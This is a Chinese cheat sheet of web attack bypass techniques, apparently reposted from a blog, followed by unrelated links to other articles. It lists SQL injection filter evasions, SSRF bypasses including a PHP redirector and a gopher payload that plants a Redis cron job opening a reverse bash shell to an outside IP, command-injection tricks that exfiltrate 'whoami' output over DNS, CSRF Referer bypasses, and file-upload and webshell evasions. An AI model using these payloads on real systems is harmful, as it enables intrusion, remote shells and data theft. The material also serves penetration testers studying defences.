SQL注入

十六进制绕过引号

slect table_name from information_schema.table where table_schema="sqli";

slect table_name from information_schema.table where table_schema=0x73716c69;

slect table_name from information_schema.table where table_schema=CHAR(115, 113, 108, 105);

like或者in绕过等号

select * from admin where id in (1,2,3,4);

select * from admin where id like 1;

join绕过逗号

SELECT * FROM admin where id = 1 union select 1,2,group_concat(user(),' ',database(),' ',@@datadir)

SELECT * FROM admin where id = 1 union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)

limit逗号的绕过

select * from admin limit 0,2;

select * from admin limit 2 offset 0;

between绕过等号

select * from admin where id between 1 and 3;

空格绕过

select * from admin where id=1;

select/**/*/**/from/**/admin/**/where/**/id=1;

select/*1*/*from/*1*/admin/*1*/where/*1*/id=1;

select	*	from	admin	where	id=1;

符号代替文字绕过

  • &&代替and

  • ||代替or

  • | 代替 xor

MySQL注释

SELECT * FROM Users WHERE id =’1’AND MID(VERSION()1,1)=’5’;

等价函数替换

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70    strcmp(left('password',1), 0x69) = 1    strcmp(left('password',1), 0x70) = 0    strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring() @@user ==> user() @@datadir ==> datadir()

SSRF

限制协议绕过

通过HTTP(S)的链接302跳转到gopher协议上。

<?php  
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
} else {
header("Location: $schema://$ip:$port/$query");
}
# dict protocol - 探测Redis
dict://127.0.0.1:6379/info
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=dict&i=127.0.0.1&port=6379&query=info' # file protocol - 任意文件读取
curl -vvv 'http://sec.com:8082/ssrf2.php?url=http://sec.com:8082/302.php?s=file&query=/etc/passwd' # gopher protocol - 一键反弹Bash
# * 注意: gopher跳转的时候转义和`url`入参的方式有些区别
curl -vvv 'http://sec.com:8082/ssrf_only_http_s.php?url=http://sec.com:8082/302.php?s=gopher&i=127.0.0.1&p=6389&query=_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0
a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/103.21.140.84/6789%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d
%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3
%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a'

IP限制绕过

利用[::]

利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1

在windows尝试了chrome Firefox IE都无法访问

在Linux下Firefox是可以访问的。

Linux下curl wget也是可以访问的。

利用@

http://example.com@127.0.0.1   =>  http://127.0.0.1

firefox下会弹出提示框。chrome直接跳转。

利用短地址

http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用xip.io和xip.name

10.0.0.1.xip.io 10.0.0.1

www.10.0.0.1.xip.io 10.0.0.1

mysite.10.0.0.1.xip.io 10.0.0.1

foo.bar.10.0.0.1.xip.io 10.0.0.1
10.0.0.1.xip.name resolves to 10.0.0.1 www.10.0.0.2.xip.name resolves to 10.0.0.2 foo.10.0.0.3.xip.name resolves to 10.0.0.3 bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

利用DNS解析

在域名上设置A记录,指向127.0.1

利用进制转换

十进制 ---||||||> 十六进制 ---||||||> 八进制 然后在访问时 指定协议然后加个0

http://0[八进制] 比如 115.239.210.26 首先用.分割数字 115 239 210 26 然后选择10进制转换16进制!

(要用0来表示前缀,可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样!)

首先把这四段数字给 转成 16 进制!结果:73 ef d2 1a  然后把 73efd21a 这十六进制一起转换成8进制!

结果:16373751032

然后指定协议 http:// 用0表示前缀 加上结果 链接:

http://0016373751032

利用Enclosed alphanumerics

利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

利用句号

127。0。0。1  >>>  127.0.0.1

命令执行

空格绕过

< 符号

%09 符号

IFS$9 符号

${IFS} 符号

%0a 符号

%0d 符号

%09 符号

变量形式绕过

a=who;b=am;c=i;$a$b$c

base64编码

`echo "d2hvYW1p"|base64 -d`

DNS通道获取回显

linux:

curl xxxx.ceye.io/`whoami`

ping -c 1 `whoami`.xxxx.ceye.io

特殊字符或者是空格出现的话,这时候可以通过一些编码来,比如base64

curl http://xxxx.ceye.io/$(id|base64)

windows:

http请求:
for /F %x in ('whoami') do start http://xxx.ceye.io/%x

dns请求:
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.t00ls.xxx.tu4.org

ceye.io获取不到回显,尝试了用t00ls的T00ls DNSLOG

单引号和双引号

单引号双引号要成对出现

CSRF 绕过Referer

条件限制 不一定所有的Refere验证就可以绕过

Referer为空条件下

利用ftp://,http://,https://,file://,javascript:,data:这个时候浏览器地址栏是file://开头的

如果这个HTML页面向任何http站点提交请求的话,这些请求的Referer都是空的。

利用https协议 https向http跳转的时候Referer为空

判断Referer是某域情况下绕过

比如你找的csrf是xxx.com 验证的referer是验证的*.xx.com

可以找个二级域名 之后<img "csrf地址"="">之后在把文章地址发出去 就可以伪造。

判断Referer是否存在某关键词

referer判断存在不存在google.com这个关键词

在网站新建一个google.com目录 把CSRF存放在google.com目录,即可绕过

判断referer是否有某域名

判断了Referer开头是否以126.com以及126子域名 不验证根域名为126.com

那么我这里可以构造子域名x.126.com.xxx.com

文件上传

解析漏洞

IIS6.0解析漏洞

IIS6.0会把以下3种类型的文件会被IIS当作脚本文件(ASP、PHP、ASPX)来解析执行

  • a.asp;.jpg

  • /a.asp/2018042500310015.jpg

  • a.cer、a.asa、a.cdx IIS6.0会把这三种后缀当作ASP来执行。

Apache解析漏洞

在低版本的Apache中,系统会从右向左识别后缀,直至找到一个可以识别的后缀,然后将文件以该可识别的后缀进行解析。

shell.php.v1.xxx

-- 系统无法识别xxx后缀名,则判断v1后缀名
-- 系统仍无法识别v1后缀名,则判断php后缀名
-- 系统可识别php后缀名,则将文件作为PHP文件解析

Nginx解析漏洞

Nginx<=0.8.37,在已上传到服务器的包含WEBSHELL代码的图片后面加上%00.php会将 /xx.jpg%00.php当作PHP文件来进行解析执行。

CGI解析漏洞

 CGI的解析漏洞主要影响IIS>7.0 和 Nginx 这两个WEB容器,它的产生原因是因为PHP.ini中cgi.fix_pathinfo=1,从而导致把其他格式文件按照PHP脚本来进行解析执行。

  Payload:

http://IP/图片马地址/a.php

遇到这种环境,攻击者只需要找到一个上传点,然后上传一个图片马,然后访问图片构造Payload即可获取WEBSHELL。但此情景只能以PHP脚本解析执行文件。

客户端检测绕过(JavaScript检测)

这类检测通常在上传页面里含有专门检测文件上传的javascript代码最常见的就是检测扩展名是否合法

可以用firebug之类的插件把它禁掉或者通过burp之类的代理工具进行绕过提交

用burp进行代理修改先将文件扩展名改成jpg

服务端检测绕过(MIME检测)

MIME验证是通过获取上传文件时数据包中Content-Type的值来判断文件是否合法的。以下是常见图片的后缀和Content-Type对应表:

后缀   Content-Type

.jpg   image/jpeg
.gif image/gif
.png image/png

MIME验证只需要攻击者抓取上传数据包,将数据包中的Content-Type的值修改为合法图片的Content-Type值即可绕过。

服务端检测绕过(目录路径检测)

目录路径检测,一般就检测路径是否合法

洞成因是因为对目录路径的检测不够严谨而导致可以用0x00截断进行攻击

服务端检测绕过(文件扩展名检测)

  • 文件名大小写绕过

  • 名单列表绕过

  • 特殊文件名绕过

  • 0x00截断绕过

  • htaccess文件攻击

  • 解析调用/漏洞绕过

服务端检测绕过(文件内容检测)

  • 文件幻数检测

  • 文件相关信息检测

图像文件相关信息检测常用的就是getimagesize()函数只需要把文件头部分伪造好就ok了,

就是在幻数的基础上还加了一些文件信息有点像下面的结构

GIF89a
(...somebinarydataforimage...)
<?phpphpinfo();?>
(...skippingtherestofbinarydata...)
  • 文件加载检测

常见的是图像渲染测试,再变态点的甚至是进行二次渲染

对渲染/加载测试的攻击方式是代码注入绕过

对二次渲染的攻击方式是攻击文件加载器自身

渲染/加载测试攻击-代码注入绕过

可以用图像处理软件对一张图片进行代码注入

用winhex看数据可以分析出这类工具的原理是

在不破坏文件本身的渲染情况下

找一个空白区进行填充代码,

一般会是图片的注释区对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的

from:https://uknowsec.cn/posts/notes/Web%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E7%BB%95%E8%BF%87%E5%92%8C%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93.html

Web中常见的绕过和技巧的更多相关文章

  1. Java web中常见编码乱码问题(二)

    根据上篇记录Java web中常见编码乱码问题(一), 接着记录乱码案例: 案例分析:   2.输出流写入内容或者输入流读取内容时乱码(内容中有中文) 原因分析: a. 如果是按字节写入或读取时乱码, ...

  2. Java web中常见编码乱码问题(一)

    最近在看Java web中中文编码问题,特此记录下. 本文将会介绍常见编码方式和Java web中遇到中文乱码问题的常见解决方法: 一.常见编码方式: 1.ASCII 码 众所周知,这是最简单的编码. ...

  3. 日常工作中常见的mysql优化技巧

    1.介绍一下MYSQL经常使用的优化技巧. MySQL 自带 slow log 的分析工具 mysqldumpslow ,可是没有说明.本文通过分析该脚本,介绍了其用法. slow log 是 MyS ...

  4. CCS应用中常见的一些小技巧

    在单片机开发中,通常需要精确估算代码运行时间,用于对算法优化以及对项目平台选择提供参考,通常算法如果用汇编编写,可以人工计算出运行时间,用C语言编写也可以通过反汇编代码而计算到较为精确的运行时间,但当 ...

  5. 在Web中实现C/S模式的Tab

    在探讨C/S模式的Tab之前,我们先总结一下B/S模式的Tab通常是什么样的.web中常见的tab设计通常是用于分节展示大量信息以提高页面空间的利用率,而且这些信息通常是静态的,或者交互比较简单.通过 ...

  6. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  7. Java中常见的5种WEB服务器介绍

    这篇文章主要介绍了Java中常见的5种WEB服务器介绍,它们分别是Tomcat.Resin.JBoss.WebSphere.WebLogic,需要的朋友可以参考下 Web服务器是运行及发布Web应用的 ...

  8. 将web项目导入到eclipse中常见错误

     将web项目导入到eclipse中常见错误  错误1:string cannot be resolved to a type  原因:这种情况一般是因为你的JDK版本没有设置好,或者设置的有不一致的 ...

  9. web开发中常见的安全漏洞及避免方法

    1.安全攻击 1.SQL.HTML.JS.OS命令注入 2.XSS跨站脚本攻击,利用站内信任的用户,在web页面插入恶意script代码 3.CSRF跨站请求伪造,通过伪装来自信任用户的请求来利用受信 ...

随机推荐

  1. vagrant ssh try

    Vagrantfile add Vagrant.configure("2") do |config| config.vm.network "private_network ...

  2. tomcat 端口被占用 项目端口号被占用怎么解决

    1.Win+R  打开运行 ,输入cmd 打开命令行窗口 . 2.假设要查询端口被占用情况,在命令行下输入:netstat  -aon|findstr  "8883" 3.得到进程 ...

  3. Ruby 安装 – Windows

    Ruby 安装 – Windows 下面列出了在 Windows 机器上安装 Ruby 的步骤. 注意:在安装时,您可能有不同的可用版本. - Window 系统下,我们可以使用 RubyInstal ...

  4. Python 爬取拉钩网工作岗位

    如果拉钩网html页面做了调整,需要重新调整代码 代码如下 #/usr/bin/env python3 #coding:utf-8 import sys import json import requ ...

  5. eclipse打包插件net.sf.fjep.fatjar

    eclipse打包插件安装 1)将net.sf.fjep.fatjar_0.0.32.jar拷贝到eclipse安装目录中的plugins目录下,然后重启eclipse即可. 软件获取方式: 链接:h ...

  6. NX二次开发-UFUN将实体放入STL文件中函数UF_STD_put_solid_in_stl_file

    NX9+VS2012 #include <uf.h> #include <uf_obj.h> #include <uf_modl.h> #include <u ...

  7. [JZOJ 5818] 做运动

    题意:带温度最短路. 思路: 我们将温度从小到大的将边加入,用并查集维护连通性. 如果一旦联通那么跑一遍\(spfa\)就可以得到答案. 复杂度\(O(m log m)\) #include < ...

  8. 秦曾昌人工智能课程---5、KNN和朴素贝叶斯

    秦曾昌人工智能课程---5.KNN和朴素贝叶斯 一.总结 一句话总结: 拟合和概率:构建机器学习模型,一般有拟合和概率两种方式 轻学无用:一定要保证学有所用,要深入学习,比如之前做的安卓,一定要学通, ...

  9. java发送http的get/post请求(一)

    HTTP请求类 import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; ...

  10. TVS(瞬态抑制二极管)、Schottky(肖特基二极管)、Zener (齐纳二极管,也称稳压二极管)主要特点及区别和使用

    1. 简单介绍 TVS TVS(Transient Voltage Suppressor)二极管,又称为瞬态抑制二极管,是普遍使用的一种新型高效电路保护器件,它具有极快的响应时间(亚纳秒级)和相当高的 ...